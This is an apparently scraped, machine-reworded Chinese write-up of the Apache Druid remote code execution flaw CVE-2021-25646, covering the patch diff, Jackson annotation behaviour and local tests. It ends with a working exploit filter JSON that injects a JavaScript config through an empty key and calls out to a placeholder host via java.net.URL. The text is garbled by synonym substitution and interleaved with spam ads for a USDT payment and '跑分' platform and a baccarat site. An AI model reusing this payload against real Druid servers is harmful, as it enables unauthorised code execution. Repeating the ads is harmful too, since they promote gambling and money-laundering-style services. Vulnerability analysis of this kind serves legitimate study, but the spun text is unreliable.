USDT第三方支付API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

靠山

通过剖析破绽的原理,学习大佬的挖洞思绪,以及凭据commit和diff剖析poc的组织思绪。

一些前置的jackson注解相关知识

  • JacksonInject

假设json字段有一些缺少的属性,转换成实体类的时刻没有的属性将为null,然则我们在某些需求当中需要将为null的属性都设置为默认值,这时刻我们就可以用到这个注解了,它的功效就是在反序列化的时刻将没有的字段设置为我们设置好的默认值

  • JsonProperty

此注解用于属性上,作用是把该属性的名称序列化为另外一个名称

  • JsonValue

可以用在get方式或者属性字段上,一个类只能用一个,当加上@JsonValue注解时,该类的json化效果,只有这个get方式的返回值,而不是这个类的属性键值对.

  • JsonCreator

当json在反序列化时,默认选择类的无参组织函数建立类工具,没有无参组织函数时会报错,JsonCreator作用就是指定一个有参组织函数供反序列化时挪用。 该组织方式的参数前面需要加上@JsonProperty,否则会报错。

  • JsonTypeInfo

作用于类或接口,被用来处置多态类型的序列化及反序列化。

破绽剖析

先看GitHub上的diff

https://github.com/apache/druid/compare/0.20.0...0.20.1

commit纪录不太多,且包罗一些版本号更迭相关的commit纪录,在commit纪录中可以看到,这个commit纪录最契合此次破绽。

几个修改点

  • core/src/main/java/org/apache/druid/guice/DruidSecondaryModule.java,setupJackson

这个函数的作用是给jackson的ObjectMapper 工具增添InjectableValues的值。用于处置jackson反序列化工具的JacksonInject注解。

没有逻辑修改,只是函数封装了一下

  • core/src/main/java/org/apache/druid/guice/GuiceAnnotationIntrospector.java

这个类改动很大,而且加了许多要害的注释。

重写了一个方式findPropertyIgnorals,注释给出的注释是:

这个方式用来在jackson反序列化中找到哪些属性需要忽略掉。jackson会在处置每一个类的每一个组织方式参数时挪用这个方式。

若是用户传入的属性有JsonProperty注解,则会返回JsonIgnoreProperties.Value.empty(),否则这个函数会返回JsonIgnoreProperties.Value.forIgnoredProperties(""),也就是不允许传入属性名为空的字段。

在这个函数的内部也写了一段注释讲了为什么要写这个函数,翻译如下:

我们在任何情况下都不应该允许空字段名。然而在Jackson的反序列化中就存在一个已知的bug忽略了这一点(详情见https://github.com/FasterXML/jackson-databind/issues/3022),这个bug导致了纵然数组中都是正当的字段,依然会反序列化失败。为领会决这个bug,当接收到的属性带着JsonProperty 而且需要被反序列化时,我们返回了一个empty,这才是合理的,由于每一个带着JsonProperty 的属性都应该有一个不为空的名字,若是jackson修复了这个bug,我们就会移除这段函数检查。

这个新函数也很简单

public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
  {
    if (ac instanceof AnnotatedParameter) {
      final AnnotatedParameter ap = (AnnotatedParameter) ac;
      if (ap.hasAnnotation(JsonProperty.class)) {
        return JsonIgnoreProperties.Value.empty();
      }
    }

    return JsonIgnoreProperties.Value.forIgnoredProperties("");
  }
}

若是注解不继续AnnotatedParameter而且不带有JsonProperty,则会返回JsonIgnoreProperties.Value.forIgnoredProperties(""),即忽略这个参数,这个函数默认的方式是直接返回JsonIgnoreProperties.Value.empty()

com.fasterxml.jackson.databind.AnnotationIntrospector.java

public Value findPropertyIgnorals(Annotated ac) {
        return Value.empty();
    }

光有这些信息,照样没有看清晰到底破绽在哪,原因是对于jackson的这个bug明白不够。也许能明白的意思是,程序原本会反序列化所有字段,然则现在若是字段没有带有JsonProperty就会被忽略掉。

连系这次commit中的Test信息,能更清晰的看懂这个破绽。

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

新增测试类core/src/test/java/org/apache/druid/guice/DruidSecondaryModuleTest.java。代码中包罗了两个反序列化测试类:

private static class ClassWithJacksonInject
{
  private final String test;

  private InjectedParameter injected;

  @JsonCreator
  public ClassWithJacksonInject(
      @JsonProperty("test") String test,
      @JacksonInject InjectedParameter injected
  )
  {
    this.test = test;
    this.injected = injected;
  }

  @JsonProperty
  public String getTest()
  {
    return test;
  }
}

 private static class ClassWithEmptyProperty
{
  private final String test;

  private InjectedParameter injected;

  @JsonCreator
  public ClassWithEmptyProperty(
      @JsonProperty("test") String test,
      @JacksonInject @JsonProperty("") InjectedParameter injected
  )
  {
    this.test = test;
    this.injected = injected;
  }

  @JsonProperty
  public String getTest()
  {
    return test;
  }
}
}

在test中找用到了这两个类的方式

先看第一个,ClassWithJacksonInject

@Test
public void testInjectWithAnEmptyPropertyNotOverrideInjection() throws JsonProcessingException
{
  final Properties props = new Properties();
  props.setProperty(PROPERTY_NAME, PROPERTY_VALUE);

  final Injector injector = makeInjectorWithProperties(props);
  final ObjectMapper mapper = makeObjectMapper(injector);
  final String json = "{\"test\": \"this is an injection test\", \"\": \"nice try\" }";
  final ClassWithJacksonInject object = mapper.readValue(json, ClassWithJacksonInject.class);
  Assert.assertEquals("this is an injection test", object.test);
  Assert.assertEquals(PROPERTY_VALUE, object.injected.val);
}

@Test
public void testInjectNormal() throws JsonProcessingException
{
  final Properties props = new Properties();
  props.setProperty(PROPERTY_NAME, PROPERTY_VALUE);

  final Injector injector = makeInjectorWithProperties(props);
  final ObjectMapper mapper = makeObjectMapper(injector);
  final String json = "{\"test\": \"this is an injection test\" }";
  final ClassWithJacksonInject object = mapper.readValue(json, ClassWithJacksonInject.class);
  Assert.assertEquals("this is an injection test", object.test);
  Assert.assertEquals(PROPERTY_VALUE, object.injected.val);
}

两个方式区别在第一个多了一个name为""的字段,在内陆模拟一下,建立如下类:

public class Student {

    @JsonCreator
    public Student(
            @JsonProperty("name")String name,
            @JacksonInject String trueName
    ){
        this.name=name;
        this.trueName=trueName;
    }


    private String trueName;
    private String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }

    public String getTrueName() {
        return trueName;
    }
    public void setTrueName(String trueName) {
        this.trueName = trueName;
    }


}

组织方式中两个参数,一个带有JsonProperty注解一个带有JacksonInject 注解,根据druid的commit中的方式举行数据输入,带有JsonProperty标签的置值,并带一个""名字的数据

String json= "{\"name\":\"name is one\",\"\":\"trueName is two\"}";

效果是JacksonInject 标签的属性被置入了字段为""的值

接着测试第二种反序列化类

public class Student {

    @JsonCreator
    public Student(
            @JsonProperty("name")String name,
            @JacksonInject @JsonProperty("") String trueName
    ){
        this.name=name;
        this.trueName=trueName;
    }


    private String trueName;
    private String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }

    public String getTrueName() {
        return trueName;
    }
    public void setTrueName(String trueName) {
        this.trueName = trueName;
    }


}

照样使用上面相同的payload发现也被乐成置值。通过两个测试可以发现,jackson反序列化工具的JacksonInject 注解的属性会被名为""的字段填充。

破绽触发

现在已知的行使点是可以行使""为键名将用户自定义的数据匹配到JacksonInject 注解修饰的字段中。

在druid中搜索@JacksonInject,匹配到的数据许多,https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw这篇文章中使用的是org.apache.druid.query.filter.JavaScriptDimFilter类,它的组织函数参数如下:

public JavaScriptDimFilter(
      @JsonProperty("dimension") String dimension,
      @JsonProperty("function") String function,
      @JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
      @JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
      @JacksonInject JavaScriptConfig config
  )

config变量原本应该由Druid重写的GuiceInjectableValues类控制,从设置文件中读取并传入,然则这里实在用户可控。在该类的toFilter方式获取到了由fuciton参数天生的JavaScriptPredicateFactory工具,这个工具是可以执行java代码的,在反序列化的历程中最终会挪用。导致随便代码执行。

知道了破绽原理,下一步剖析一下若何触发破绽。由于对druid框架也不是稀奇领会,因此无法做到完全从source往后剖析,只能连系实际操作中的一些征象,以及下断点调试,预测作者的破绽行使思绪

在druid中,load data模块有大量用户输入json的操作的地方,这个模块是用来向服务器上传数据的,选择example data

它会从云端加载一些示例数据,

点击next即可将数据粘贴到内陆,接着设置下__time。

下一步的transform和filter则是破绽触发的相关部门,快进到filter设置,由于我们的恶意类就是一个filter,若是该类能够反序列化,那么也许率是在这个步骤中实现

有部门filter的type可以选择,随便填写一下,此时点击next,同时F12抓包,可以看到向服务端query了这样一段数据

{
    "type": "index", 
    "spec": {
        "ioConfig": {
            "type": "index", 
            "inputSource": {
                "type": "inline", 
                "data": "{\"isRobot\":true,\"channel\":\",sv. *** \",\"timestamp\":\"2016-06-27T00:00:11.080Z\",\"flags\":\"NB\",\"isUnpatrolled\":false,\"page\":\"Salo Toraut\",\"diffUrl\":\"https://sv. *** .org/w/index.php?oldid=36099284&rcid=89369918\",\"added\":31,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":false,\"user\":\"Lsjbot\",\"deltaBucket\":0.0,\"deleted\":0,\"namespace\":\"Main\"}
"
            }, 
            "inputFormat": {
                "type": "json", 
                "keepNullColumns": true
            }
        }, 
        "dataSchema": {
            "dataSource": "sample", 
            "timestampSpec": {
                "column": "timestamp", 
                "format": "iso"
            }, 
            "dimensionsSpec": { }, 
            "transformSpec": {
                "transforms": [ ], 
                "filter": {
                    "type": "and", 
                    "fields": [
                        {
                            "type": "selector", 
                            "dimension": "123", 
                            "value": ""
                        }, 
                        {
                            "type": "selector", 
                            "dimension": "123", 
                            "value": "123"
                        }, 
                        {
                            "type": "selector", 
                            "dimension": "123", 
                            "value": "123"
                        }
                    ]
                }
            }
        }, 
        "type": "index", 
        "tuningConfig": {
            "type": "index"
        }
    }, 
    "samplerConfig": {
        "numRows": 500, 
        "timeoutMs": 15000
    }
}

直接在源码中搜索filter类,发现它只是一个接口,没有相关实现,因此搜索其上一级transformSpec,从它的组织方式中可以看出该filter的处置类为DimFilter

@JsonCreator
  public TransformSpec(
      @JsonProperty("filter") final DimFilter filter,
      @JsonProperty("transforms") final List<Transform> transforms
  )

DimFilter类被添加了JsonTypeInfo和JsonSubTypes注解

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes(value = {
    @JsonSubTypes.Type(name = "and", value = AndDimFilter.class),
    @JsonSubTypes.Type(name = "or", value = OrDimFilter.class),
    @JsonSubTypes.Type(name = "not", value = NotDimFilter.class),
    @JsonSubTypes.Type(name = "selector", value = SelectorDimFilter.class),
    @JsonSubTypes.Type(name = "columnComparison", value = ColumnComparisonDimFilter.class),
    @JsonSubTypes.Type(name = "extraction", value = ExtractionDimFilter.class),
    @JsonSubTypes.Type(name = "regex", value = RegexDimFilter.class),
    @JsonSubTypes.Type(name = "search", value = SearchQueryDimFilter.class),
    @JsonSubTypes.Type(name = "javascript", value = JavaScriptDimFilter.class),
    @JsonSubTypes.Type(name = "spatial", value = SpatialDimFilter.class),
    @JsonSubTypes.Type(name = "in", value = InDimFilter.class),
    @JsonSubTypes.Type(name = "bound", value = BoundDimFilter.class),
    @JsonSubTypes.Type(name = "interval", value = IntervalDimFilter.class),
    @JsonSubTypes.Type(name = "like", value = LikeDimFilter.class),
    @JsonSubTypes.Type(name = "expression", value = ExpressionDimFilter.class),
    @JsonSubTypes.Type(name = "true", value = TrueDimFilter.class),
    @JsonSubTypes.Type(name = "false", value = FalseDimFilter.class)
})

可以看到,name为javascript时,就会使用JavaScriptDimFilter类举行处置,因此只需修改之前json数据中的filter字段中的type为javascript即可,并组织响应的poc即可。再进入JavaScriptDimFilter中,考察其组织函数

public JavaScriptDimFilter(
      @JsonProperty("dimension") String dimension,
      @JsonProperty("function") String function,
      @JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
      @JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
      @JacksonInject JavaScriptConfig config
  )

nullable的可以为空,其他三个参数,第一个没用,第二个为要执行的javascrpit代码,config为一个JavaScriptConfig 工具,只有一个布尔类型的参数

@JsonCreator
  public JavaScriptConfig(
      @JsonProperty("enabled") boolean enabled
  )

因此组织filter字符串如下:

"filter": {
        "type": "javascript", 
        "dimension": "123", 
        "function": "function(value) {new java.net.URL(\"IP\").openStream()}", 
        "": {
            "enabled": true
        }
      }

参考及引用

https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw

https://mp.weixin.qq.com/s/m7WLwJX-566WQ29Tuv7dtg

https://zhuanlan.zhihu.com/p/348944507

苏州新闻网声明:该文看法仅代表作者自己,与苏州新闻网无关。转载请注明:choi baccarat:Druid远程代码执行破绽剖析(CVE-2021-25646)
发布评论

分享到:

usdt自动充值(www.caibao.it):开5G也不怕续航尿崩,优质快充手机推荐,最快24分钟就能充满
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。